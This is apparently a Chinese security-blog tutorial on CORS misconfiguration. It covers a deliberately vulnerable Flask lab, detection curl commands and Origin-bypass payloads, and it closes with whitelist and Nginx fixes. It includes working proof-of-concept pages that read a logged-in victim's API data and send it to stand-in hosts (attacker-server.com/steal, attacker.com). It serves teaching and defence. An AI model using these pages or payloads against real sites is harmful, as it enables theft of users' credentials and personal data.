PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】CORS跨域资源共享漏洞:从原理到信息窃取实战

📅 2026年6月3日 📁 Hermes Agent ⏱ 6 分钟

【教程】CORS跨域资源共享漏洞:从原理到信息窃取实战

适合人群:Web安全初学者、渗透测试工程师、前端开发安全工程师

前置知识:HTTP协议基础、JavaScript基本语法、同源策略基本概念

实验环境:Linux + Python3 + 浏览器开发者工具 + Burp Suite


一、前置准备

1.1 工具安装


# Python Flask 环境(用于本地搭建测试靶场)
pip3 install flask flask-cors requests

# 浏览器(Firefox/Chrome + 开发者工具 F12)
# Burp Suite(抓包改包,查看响应头)

1.2 本地靶场搭建


# 创建一个存在 CORS 配置缺陷的靶场
# 保存为 cors_lab.py
from flask import Flask, jsonify, request, make_response
from flask_cors import CORS

app = Flask(__name__)

# 🔴 危险配置:允许任意来源
CORS(app, resources={r"/api/*": {"origins": "*"}})

@app.route('/api/userinfo')
def user_info():
    # 假设这个接口返回登录用户的敏感信息
    data = {
        "username": "admin",
        "email": "admin@target.com",
        "role": "administrator",
        "session_token": "eyJhbGciOiJIUzI1NiIs..."
    }
    resp = make_response(jsonify(data))
    # 🔴 危险:回显 Origin + 允许 Cookie
    resp.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '*')
    resp.headers['Access-Control-Allow-Credentials'] = 'true'
    return resp

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

# 启动靶场
python3 cors_lab.py &

二、核心原理

2.1 什么是 CORS?

CORS(Cross-Origin Resource Sharing,跨域资源共享) 是浏览器的一种安全机制,允许服务器声明哪些跨域来源可以访问其资源。

简单说:同源策略说「不行」,CORS 头说「我可以例外」。

2.2 同源策略 vs CORS

机制作用说明
同源策略(SOP)阻止 A 站的 JS 读取 B 站的数据协议+域名+端口 必须一致
CORS允许服务器有选择地放开跨域限制通过 HTTP 响应头控制

2.3 CORS 的关键响应头

响应头作用危险配置
Access-Control-Allow-Origin允许的跨域来源* 或回显 Origin
Access-Control-Allow-Credentials是否允许发送 Cookietrue + ACAO 非 * 危险
Access-Control-Allow-Methods允许的 HTTP 方法允许 PUT/DELETE
Access-Control-Allow-Headers允许的自定义头允许 Authorization

2.4 漏洞本质(一句话)

CORS 漏洞 = 服务器信任了不应该信任的来源,导致攻击者可以从自己的恶意网站窃取受害者在目标站点的数据。


攻击者网站 → 受害者浏览器(已登录 target.com)
  → 通过 JS 发起跨域请求 → 携带 Cookie → target.com 返回数据
  → 攻击者 JS 读取响应数据 → 发送到攻击者服务器

三、实操步骤

第1步:CORS 漏洞探测


# 正常请求,看响应头
curl -si https://api.target.com/api/userinfo | grep -i access-control

# 用自定义 Origin 测试
curl -si -H "Origin: https://evil.com" https://api.target.com/api/userinfo \
  | grep -i access-control

关键检测点:

响应头组合漏洞判定
ACAO: * + ACAC: true❌ 冲突,浏览器会拒绝
ACAO: https://evil.com + ACAC: true高危!可窃取凭证
ACAO: https://evil.com + 无 ACAC✅ 可读取公开数据
ACAO: null允许 null Origin,可被 iframe 利用

第2步:构造 PoC 页面(信息窃取)

当检测到目标存在 CORS 配置缺陷时,创建一个恶意 HTML 页面:


<!-- cors_exploit.html — 托管在攻击者服务器上 -->
<!DOCTYPE html>
<html>
<head><title>CORS Exploit PoC</title></head>
<body>
<h1>正在加载资源...</h1>
<script>
// 目标 API 端点(存在 CORS 缺陷)
const targetURL = 'https://api.target.com/api/userinfo';

// 攻击者接收数据的监听地址
const attackerURL = 'https://attacker-server.com/steal';

function exploit() {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', targetURL, true);
  xhr.withCredentials = true;  // 携带 Cookie!

  xhr.onload = function() {
    if (xhr.status === 200) {
      var stolenData = xhr.responseText;
      // 将窃取的数据发送到攻击者服务器
      var img = new Image();
      img.src = attackerURL + '?data=' + encodeURIComponent(btoa(stolenData));
      document.body.innerHTML += '<p>✅ 数据已窃取: <pre>' + stolenData + '</pre></p>';
    }
  };

  xhr.onerror = function() {
    document.body.innerHTML += '<p>❌ 请求失败(可能被同源策略阻止)</p>';
  };

  xhr.send();
}

exploit();
</script>
</body>
</html>

第3步:实际利用场景

场景 A:Origin 反射 + 允许凭据


# 服务器将请求的 Origin 原样返回
# 检测命令:
curl -si -H "Origin: https://evil.com" https://api.target.com/profile \
  | grep -E 'Access-Control|HTTP/'

如果 Access-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true

  1. 攻击者搭建 https://evil.com 页面
  2. 诱骗受害者访问(钓鱼邮件、XSS、广告植入)
  3. 受害者浏览器自动携带 Cookie 发起跨域请求
  4. 攻击者 JS 读取响应并外带到攻击者服务器

场景 B:Origin 为 null 的绕过

某些服务器配置了 Access-Control-Allow-Origin: null。这种情况下,攻击者可以用 data:file: 协议或沙箱 iframe 触发 Origin: null


<iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://api.target.com/userinfo', true);
  xhr.withCredentials = true;
  xhr.onload = function() {
    new Image().src = 'https://attacker.com/?d=' + btoa(xhr.responseText);
  };
  xhr.send();
</script>">
</iframe>

场景 C:通配符域名匹配不当


# 测试服务器是否信任子域名
curl -si -H "Origin: https://evil.target.com" https://api.target.com/data
curl -si -H "Origin: https://target.com.evil.com" https://api.target.com/data

如果 evil.target.com 被允许,说明服务器对 Origin 的验证只检查了是否包含 target.com(字符串包含而非精确匹配)——这是最常见的配置错误!


四、绕过技术

4.1 空 Origin 绕过

某些老旧浏览器或特定上下文下,请求的 Origin 为空。如果服务器将空 Origin 加入白名单:


# 使用 Flash/Java Applet 等插件发起跨域请求
# 或使用 data: URI + iframe sandbox

4.2 预检请求(Preflight)绕过

部分服务器只对非简单请求做 CORS 校验,但简单请求(GET/POST + 标准 Content-Type)不触发预检。如果敏感操作可以用 GET 完成,直接通过:


<!-- 用 <img> 标签发起带 Cookie 的 GET 请求 -->
<img src="https://api.target.com/api/logout" style="display:none">

4.3 Origin 正则绕过


# 测试模式
Origin: https://target.com.attacker.com     # 子域名匹配绕过
Origin: https://target.com:9999             # 端口号混用
Origin: https://target.com@attacker.com     # @ 符号混淆
Origin: https://attackertarget.com          # 字符串包含
Origin: null                                # null origin
服务器配置缺陷绕过 Payload
包含匹配 .target.comhttps://evil.target.com
前缀匹配 target.comhttps://target.com.evil.com
正则 target\.com 未加 $https://target.com.evil.com
未校验端口https://target.com:8888

五、实战案例复盘

案例:某社交平台 API 信息泄露

以下为脱敏处理后的真实案例

发现过程:

  1. 访问 https://social.example.com 时发现 X-API-URL: https://api.social.example.com
  2. 用自定义 Origin 测试 API 端点:

curl -si -H "Origin: https://evil.com" https://api.social.example.com/v1/user/profile \
  | grep -i access-control

# 返回:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
  1. 确认 Origin 反射且凭据可携带
  1. 构造 PoC 页面,诱骗受害者访问
  1. 成功获取包括邮箱、手机号、好友列表在内的完整个人资料

漏洞根因: 开发者为方便前端本地开发调试,临时加了一段中间件:


# 🔴 生产环境遗忘删除!
@app.after_request
def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '*')
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

修复方案: 删除调试代码,改用白名单:


ALLOWED_ORIGINS = ['https://social.example.com', 'https://admin.example.com']

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

六、防御建议

#建议说明
1使用精确白名单不要用 * 或回显 Origin,列出确切允许的域名
2正则匹配加锚点^https?://(www\.)?target\.com$,防止子域名抢注绕过
3同源策略兜底能用同源的接口不要开放 CORS
4Credentials 谨慎开启Access-Control-Allow-Credentials: true 使用时 ACAO 不能为 *
5限制敏感接口的 CORS仅对公开资源开放 CORS,用户数据和认证接口限制 Origin
6Vary: Origin 响应头告诉缓存服务器响应随 Origin 变化,防止缓存投毒
7生产环境删除调试代码开发用 CORS 中间件上线前必须清理或加固

# Nginx 安全 CORS 配置示例
location /api/ {
    if ($http_origin ~* (https://app\.target\.com|https://admin\.target\.com)$) {
        add_header Access-Control-Allow-Origin "$http_origin";
        add_header Access-Control-Allow-Credentials "true";
    }
}

七、常见陷阱

#陷阱正确做法
1* 允许所有 Origin 却还开启 Credentials浏览器不允许 ACAO=* + ACAC=true,会直接报错
2仅在前端设置 CORS(proxy 配置)而非后端前端 proxy 仅在开发环境生效,生产环境无保护
3误以为 CORS 可以替代服务端认证CORS 只是浏览器限制,curl/Postman 不受影响
4Origin 校验用了 in 运算符"target.com" in "https://not-target.com" 会误判
5认为 OPTIONS 预检请求防御 CSRF预检请求不由浏览器 JS 控制,攻击者可直接发 GET/POST

快速鉴别技巧


# 一行命令检测 CORS 漏洞
curl -si -H "Origin: https://evil-test-123.com" https://target.com/api/endpoint \
  | grep -i access-control

如果返回了 evil-test-123.com,说明存在 Origin 反射漏洞。


八、总结(含速查表)

CORS 漏洞攻击链


发现 API 端点 → 自定义 Origin 测试 → 确认反射/Credentials
  → 构造 PoC 页面 → 诱骗受害者访问 → 窃取敏感数据

Payload / 检测命令速查

检测内容命令
基础 CORS 检测curl -si -H "Origin: https://evil.com" https://target.com/api
携带 Credentials在 PoC 中设置 xhr.withCredentials = true
null Origin 测试curl -si -H "Origin: null" https://target.com/api
子域名绕过curl -si -H "Origin: https://evil.target.com" https://target.com/api
字符串包含绕过curl -si -H "Origin: https://target.com.evil.com" https://target.com/api

CORS 配置风险评估矩阵

ACAO 设置ACAC风险等级说明
*🟢 低只暴露公开数据,无凭证
*true🔴 无意义浏览器禁止此组合
回显 Origintrue🔴 高危任意网站可窃取凭证数据
回显 Origin🟠 中危可读取无凭证的敏感数据
精确域名true🟢 低(如配置正确)仅限白名单域名
null任意🟠 中危可被 data: 或 sandbox iframe 绕过

💡 核心记忆点:CORS 漏洞的钥匙永远在服务端响应头里。检查 Access-Control-Allow-Origin 是否反射了你的 Origin,如果是,你就找到了信息窃取的入口。

← 返回首页